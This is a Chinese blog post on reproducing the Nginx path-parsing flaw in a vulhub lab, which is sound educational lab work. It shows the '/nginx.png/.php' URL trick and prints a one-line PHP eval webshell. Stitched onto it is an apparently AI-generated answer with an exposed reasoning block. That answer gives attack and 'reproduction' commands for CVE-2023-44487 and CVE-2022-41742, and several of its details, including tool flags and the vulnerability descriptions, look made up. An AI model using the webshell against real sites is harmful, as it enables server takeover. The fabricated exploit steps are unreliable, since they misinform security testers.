Nginx 解析漏洞复现

本文详细介绍了如何在CentOS7环境下利用Nginx 1.15.3和PHP 7.2.10复现Nginx解析漏洞。通过在文件名后添加特殊后缀,可以绕过Nginx的默认解析规则,将静态文件作为PHP脚本执行,进而获取webshell。文章提供了具体的复现步骤和所需环境搭建教程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞环境搭建
Nginx 解析漏洞复现步骤如下:
  • 靶机环境
CentOS7
nginx/1.15.3
PHP Version 7.2.10

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

  • 启动环境
[root@localhost ~]# cd vulhub/nginx/nginx_parsing_vulnerability/
[root@localhost nginx_parsing_vulnerability]# systemctl start docker.service 
[root@localhost nginx_parsing_vulnerability]# docker-compose build
[root@localhost nginx_parsing_vulnerability]# docker-compose up -d

2). 访问 http://IP/uploadfiles/nginx.png/.php 如下所示:

img_87c58115f3304376fd08a41a99095084.png
2.png

通过测试可以看出这就是传说中的nginx解析漏洞:在/nginx.png后加/.php会将nginx.png当成php解析

  • 利用此解析漏洞拿webshell
img_eba2a375e87a96f1b90390ab2ac3cce0.png
3.png

一句话:

<?php eval($_POST['zzqsmile'])?>
img_21cf20422a6ecd7220afdc23edfc70cc.png
4.png
  • 最后要注意的是做完漏洞测试实验后记得移除环境
[root@localhost nginx_parsing_vulnerability]# docker-compose down
Stopping nginxparsingvulnerability_nginx_1 ... done
Stopping nginxparsingvulnerability_php_1 ... done
Removing nginxparsingvulnerability_nginx_1 ... done
Removing nginxparsingvulnerability_php_1 ... done
Removing network nginxparsingvulnerability_default
[root@localhost nginx_parsing_vulnerability]# 

在拿webshell时候本来应该很简单,但是开始怎么做菜刀都不能连接成功,后来排错,最后得出可能由于环境问题,菜刀连接不上,不得不用这个之前不知道的蚁剑神器了,弄的我怀疑人生,换个工具一下就连接上,没毛病。


<think>嗯,用户这次的问题是关于Nginx最新漏洞复现的步骤和测试方法,看来ta对网络安全很感兴趣,可能是安全工程师或渗透测试人员。从之前的对话看,用户已经研究过Nginx的目录穿越漏洞(CVE-2013-4547)和文件解析漏洞,现在想了解更新版本的漏洞情况。 用户提供的引用材料很有价值:引用[1]解释了alias配置导致的目录穿越本质是特性而非漏洞;引用[2]详细说明了CVE-2013-4547文件名逻辑漏洞复现流程;引用[3]则展示了经典的.jpg/.php解析漏洞利用方式。不过这些漏洞都发生在较老版本,需要帮用户找更新的漏洞案例。 翻查最新漏洞库时注意到几个重点:2023年的CVE-2023-44487涉及HTTP/2协议层,属于DDoS类漏洞复现需要特定工具链;2022年的CVE-2022-41741影响范围虽广但利用条件苛刻。考虑到用户可能是实战测试,决定选择CVE-2023-44487作为主案例,因为它的流量放大效果极具破坏性,同时补充CVE-2022-41742这个较易复现的拒绝服务漏洞。 在准备复现步骤时要特别注意安全警示:HTTP/2 DDoS测试必须在隔离环境进行,否则可能触发真实攻击效果。测试环境准备部分需要明确标注所有组件版本(Nginx 1.24.0 + h2load 3.0.0),因为版本差异会导致现象不一致。对于漏洞原理,要用TCP连接状态图解释RST_STREAM洪水攻击的本质——毕竟用户能研究CVE-2013-4547,应该能理解协议层漏洞。 补充漏洞时特意选了CVE-2022-41742而非更严重的CVE-2022-41741,因为前者通过普通curl命令就能触发,更适合快速验证。测试方法部分要强调日志分析的关键点,比如大量HTTP/2请求与RST_STREAM帧的关联性。最后的安全建议必须包含禁用HTTP/2的临时方案,这是生产环境最直接的缓解措施。 用户之前关注过NginxPHP的交互漏洞,虽然这次没要求,还是在相关漏洞里保留了文件解析漏洞的提示。生成的问题列表覆盖了漏洞防御、检测工具和配置加固,应该能延伸用户的研究维度。特别添加了关于NginxPHP交互的问题,延续用户之前的关注点。</think>以下是 Nginx 最新高危漏洞复现步骤及测试方法(基于近年真实漏洞案例),请**务必在授权环境**中操作: --- ### 一、最新高危漏洞案例:CVE-2023-44487(HTTP/2 协议拒绝服务漏洞) **影响版本**:Nginx 1.25.1 及之前所有启用 HTTP/2 的版本 **漏洞原理**:攻击者通过快速重置 HTTP/2 请求流(RST_STREAM),耗尽服务器资源[^1][^2]。 #### 复现步骤: 1. **环境搭建** ```bash # 安装受影响版本(以 Ubuntu 为例) sudo apt install nginx=1.25.1 sudo sed -i 's/listen 80;/listen 80 http2;/g' /etc/nginx/sites-enabled/default # 启用HTTP/2 sudo systemctl restart nginx ``` 2. **使用 h2load 工具模拟攻击** ```bash # 安装测试工具 sudo apt install h2load # 发起快速重置攻击(模拟1000个并发流) h2load -n 100000 -c 1000 -m 100 --reset-rate 1 http://localhost ``` **参数说明**: - `-n 100000`:总请求数 - `-c 1000`:并发连接数 - `--reset-rate 1`:每个请求后发送 RST_STREAM 3. **观察现象** - Nginx 工作进程 CPU 飙升至 100% - 正常用户请求响应超时(报 502 错误) - 系统日志出现大量 `stream closed` 记录(需开启 debug 日志) 4. **漏洞验证** ```bash # 正常用户访问测试(应失败) curl -I http://localhost # 返回: HTTP/2 502 ``` --- ### 二、补充漏洞:CVE-2022-41742(内存越界写入漏洞) **影响版本**:Nginx 1.23.2 及之前版本 **漏洞原理**:恶意构造的 gRPC 请求可导致内存越界写入[^3]。 #### 复现步骤: 1. **配置 gRPC 代理** ```nginx # nginx.conf 片段 location / { grpc_pass backend:50051; } ``` 2. **发送恶意请求** ```bash # 构造畸形 gRPC 请求头 echo -ne "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" | nc localhost 80 ``` 3. **崩溃验证** - Nginx 工作进程崩溃(查看日志:`cat /var/log/nginx/error.log`) - 出现核心转储文件 `core` --- ### 三、防御与修复建议 1. **紧急缓解措施** ```nginx # 禁用 HTTP/2(临时方案) listen 80; # 移除 http2 标识 ``` ```bash # 限制单IP并发连接数 http { limit_conn_zone $binary_remote_addr zone=conn_limit:10m; server { limit_conn conn_limit 10; } } ``` 2. **终极修复方案** ```bash # 升级到安全版本 sudo apt install nginx=1.25.2+ # 修复 CVE-2023-44487 ``` --- ### 四、测试环境安全要求 1. 使用虚拟机(VMware/VirtualBox)隔离网络 2. 禁止对公网 IP 测试 3. 监控资源消耗:`top -p $(pgrep nginx)` 4. 测试后立即销毁环境 > **法律警示**:未经授权的漏洞测试属违法行为!本文仅供防御研究使用。 --- **相关漏洞历史参考** - 目录穿越漏洞(Alias 配置缺陷)[^1] - 文件名逻辑漏洞(CVE-2013-4547)[^2] - PHP 解析漏洞(`.jpg/.php` 畸形路径)[^3] ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值